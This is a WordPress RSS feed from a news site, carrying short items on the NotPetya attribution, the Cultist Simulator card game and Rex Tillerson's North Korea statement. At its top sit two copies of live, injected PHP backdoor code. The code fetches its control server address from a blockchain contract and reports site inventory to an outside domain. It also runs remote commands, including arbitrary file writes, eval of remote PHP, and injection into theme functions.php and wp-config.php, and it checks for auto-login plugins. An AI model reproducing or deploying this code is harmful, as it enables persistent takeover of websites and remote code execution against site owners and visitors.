// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘terse – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 16 Feb 2018 00:11:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘terse – Brief News https://briefnews.eu 32 32 In terse statement, White House blames Russia for NotPetya worm https://briefnews.eu/in-terse-statement-white-house-blames-russia-for-notpetya-worm/ https://briefnews.eu/in-terse-statement-white-house-blames-russia-for-notpetya-worm/#respond Fri, 16 Feb 2018 00:11:50 +0000 http://briefnews.eu/in-terse-statement-white-house-blames-russia-for-notpetya-worm/

Enlarge / White House Press Secretary Sarah Sanders issued a statement today declaring that Russia would face “international consequences” for releasing the NotPetya malware worm. (credit: Getty Images)

Following form with a finding by the government of the United Kingdom, the White House issued a statement formally blaming Russia’s military for unleashing NotPetya, the destructive “wiper” worm that spread across much of the world last June.

NotPetya, which at first appeared to be yet another crypto-ransomware attack similar to WannaCry, was instead designed to simply destroy data. There have been suggestions in the past that the malware was launched as part of a state-sponsored attack against Ukraine, likely by Russian attackers connected to the military. Multiple security research companies have, with relatively high confidence, previously attributed NotPetya to a Russia-based attacker.

But that’s different from governments formally stating attribution as fact. Today, the UK’s National Cyber Security Centre issued a report stating that “the Russian military was almost certainly responsible for the ‘NotPetya’ cyber attack of June 2017.” The UK Foreign Office Minister for Cyber Security, Lord Tariq Ahmad, said NotPetya “showed a continued disregard for Ukrainian sovereignty… Its reckless release disrupted organizations across Europe costing hundreds of millions of pounds. We call upon Russia to be the responsible member of the international community it claims to be, rather than secretly trying to undermine it.”

Read 3 remaining paragraphs | Comments

]]>
https://briefnews.eu/in-terse-statement-white-house-blames-russia-for-notpetya-worm/feed/ 0
The terse poetry of Alexis Kennedy’s Cultist Simulator card game https://briefnews.eu/the-terse-poetry-of-alexis-kennedys-cultist-simulator-card-game/ https://briefnews.eu/the-terse-poetry-of-alexis-kennedys-cultist-simulator-card-game/#respond Sat, 09 Sep 2017 01:47:46 +0000 http://briefnews.eu/the-terse-poetry-of-alexis-kennedys-cultist-simulator-card-game/


Most of Alexis Kennedy’s games gaze into the crystal ball of madness, and Cultist Simulator is no different. He’s best known as the founder of the indie studio Failbetter Games, where he created and wrote text-heavy titles like Fallen London and Sunless Sea. A little over a year ago, he left Failbetter to form Weather Factory, and Cultist Simulator is this studio’s first game. It’s raising funds on Kickstarter now and met its goal in a little over 12 hours. It should debut in May 2018, and it will be available on PC, Mac, and Linux.

“I like making games where the player makes the kind of choices that game characters usually don’t get to make,” said Kennedy in an email. “There are plenty of horror games, but there aren’t many games where you get to establish the backstory. You’re always picking up after the rash occultist who summoned the thing. I thought: what if you were actually that occultist?”

Kennedy says he left Failbetter in order to work on more experimental projects without worrying about generating the revenue needed to pay a full-time team. Since leaving, he’s worked on the Horizon Signal DLC for Paradox Interactive’s Stellaris, along with projects in partnership with BioWare’s Dragon Age team and Telltale Games.

But Cultist Simulator will be the first full game that he’s releasing under the Weather Factory moniker.

“Cultist Simulator is experimental, alright — a timer-based Doodle God-inspired narrative crafting card-based quasi-Lovecraftian occult horror life simulator? What?” said Kennedy. “Although it looks increasingly like it might actually be a commercial success, my main aim was to try out some ideas I had about choice and narrative, with total creative freedom.”

I checked out a prototype of Cultist Simulator, which is free on Itch.io. The playing field is set up like digital card game version of a tarot reading. You have health, passion, reason, and funds, which are needed to execute certain actions. You can place the cards in different slots, such as Work, Dream, and Explore, and trying new combinations can effect different events.

“I’ve always loved cards as a game metaphor, and my previous work keeps coming back to them,” said Kennedy. “And tarot, of course, is the ur-deck, the original source of card games. There is something about expressing all that symbolism in a card and then just letting the player deal with it that allows the designer to be terse and poetic in a way that other metaphors don’t.”

As in Kennedy’s other games, atmosphere is paramount. You earn cards like Notoriety, Erudition, and Fleeting Memory, evoking abstract ideas that can be examined and somehow turned into actions. It’s replete with the sense that you’re dabbling with the unknown, and it encourages experimentation. You can choose whether you want to use reason or passion, though regardless of those decisions, you’ll still have to find a way to earn funds to stave off starvation. Even cultists have to eat, after all.

Unlike Fallen London, which also uses a card system though with a much different user interface, Cultist Simulator features timers. Every minute, your funds are used up, and sometimes you have to race against the clock to stay alive. It’s an interesting decision, because a main feature of Kennedy’s work is his text, and in his previous titles, I’ve enjoyed the chance to take my time reading. His worlds are steeped in lore, often with intriguing references to faraway places and mysterious figures.

Kennedy credits the final version of the interface to his freelance UI designer, Martin Nerurkar, who has a background in digital card games. He also says that the earliest prototype was actually an incremental idle game, similar to Adventure Capitalist.

“But I wanted to use story and choice design elements that just wouldn’t fit in that model, and I changed it,” said Kennedy. “So that’s how the timers came in, but once they were in, I liked the constant sense of menace they brought. There’s always something running down; there’s always something running out; there’s always an opportunity to say ‘Hell, no!‘ and change your mind.”

Though Cultist Simulator doesn’t take place in Failbetter’s world of the Underzee, it does draw from familiar symbols and themes. The art style, at least in the prototype, is also reminiscent of the Kennedy’s previous work with stark silhouettes and bold colors.

“It’s completely different lore. But a lot of my motifs and obsessions have come over from Fallen London, inevitably, so there are candles and labyrinths and abominable appetites and death by water,” said Kennedy. “I tried to weed that out to begin with, and to go in more of a different direction, but I thought, bugger it, that’s what people who know my work are here for.”

Unavoidably, comparisons to H.P. Lovecraft arise when discussing Kennedy’s games. After all, Fallen London is all about the horrors of the deep, prime Cthulhu stomping grounds as it were. To that end, Kennedy seems to have some mixed feelings.

“I wouldn’t say I’m a Lovecraft fan exactly — I spent years insisting Fallen London wasn’t Lovecraftian — but he’s a founding father of the nation of weird fiction and I’m a citizen of that nation,” said Kennedy. “Like many other founding fathers, he was a towering figure with an inescapable shadow and a deep well of talent and some odd quirks and some moments of horrifying racism.”

He says he’s been re-reading a lot of Lovecraft lately as he works on Cultist Simulator, but that’s not the only source of inspiration.

“I look to [Roger Zelazny] and [Lord Dunsany] and Mary Renault and Algernon Blackwood and Tanith Lee,” said Kennedy. “The setting and the story are perilous and monstrous, rather than just nihilistic and horrifying. The tagline is ‘apocalypse and yearning‘ — I want the player to feel that allure.”

The PC Gaming channel is presented by Intel®‘s Game Dev program.





VentureBeat

]]>
https://briefnews.eu/the-terse-poetry-of-alexis-kennedys-cultist-simulator-card-game/feed/ 0
Rex Tillerson’s terse statement on North Korea’s latest missile launch may be a turning point https://briefnews.eu/rex-tillersons-terse-statement-on-north-koreas-latest-missile-launch-may-be-a-turning-point/ https://briefnews.eu/rex-tillersons-terse-statement-on-north-koreas-latest-missile-launch-may-be-a-turning-point/#respond Wed, 05 Apr 2017 09:44:16 +0000 http://briefnews.eu/rex-tillersons-terse-statement-on-north-koreas-latest-missile-launch-may-be-a-turning-point/ Rex Tillerson NATOAP Photo/Virginia Mayo, Pool

SEOUL, South Korea (AP) — The response of America’s chief diplomat to North Korea’s latest missile launch was an abrupt departure from the usual — which may be a turning point, analysts in Asia say.

The statement from U.S. Secretary of State Rex Tillerson totaled 23 words: “North Korea launched yet another intermediate range ballistic missile. The United States has spoken enough about North Korea. We have no further comment.”

While Tillerson’s statement was unusually short and vague, experts in South Korea and Japan saw it as a sign of consistency on how the United States under President Donald Trump will deal with North Korea as it speeds up its nuclear weapon and missile developments.

North Korea with its missile launches probably wants to create attention and use it as leverage for concessions, but Tillerson with his statement has sent a stern message that the United States won’t be a party to it, South Korean experts said.

“It seems Tillerson purposefully issued a short statement to send a tough signal,” said Kim Sung-han, a professor at Seoul’s Korea University and a former South Korean deputy foreign minister. “He is making it clear that, no matter what North Korea does, the United States won’t commit to direct negotiations unless Pyongyang shows real willingness for disarmament.”

Bong Youngshik, a researcher at Yonsei University’s Institute for North Korean Studies in Seoul, said Tillerson’sstatement would have also been aimed at China ahead of President Xi Jinping’s first meeting with Trump later this week in Florida.

Trump is likely to urge China’s leader to take up stronger role in pressuring the North to abandon its nuclear ambitions, and Tillerson’s statement is a way of stressing it’s time for action on North Korea, not just talk, Bong said.

Tillerson also might stop making routine statements after every North Korean provocation or missile launch, Bong said.

“It is what it is,” Bong said. “There’s really no need for Tillerson to react every time when North Korea does something. The United States has moved on and is now trying to resolve problem through a larger scale, such as the summit with China shows.”

While Trump and his top policymakers continue their tough talk on the North Korean issue, it’s unclear such rhetoric would be enough to effectively influence North Korea and China, Pyongyang’s only major ally.

Donald TrumpAP Photo/Evan Vucci

Every North Korean nuclear test and missile launch reminds the United States and its allies of the limited options they have on Pyongyang’s nuclear ambitions.

A military strike on the North’s nuclear or missile facilities risks triggering a devastating war that could quickly kill hundreds of thousands. The effect of further sanctions is questionable as North Korea puts the survival of its ruling elite before the wellbeing of its struggling populace and already is one of the most heavily penalized places on earth. Renewing negotiations with Pyongyang would require trust that it won’t pocket aid and renege on any promises.

Tillerson in a visit to China last month declared an end to the Obama administration’s “strategic patience” policy to wait out Pyongyang until it caves and decides to denuclearize, but the Trump administration has yet to reveal any meaningfully different approach.

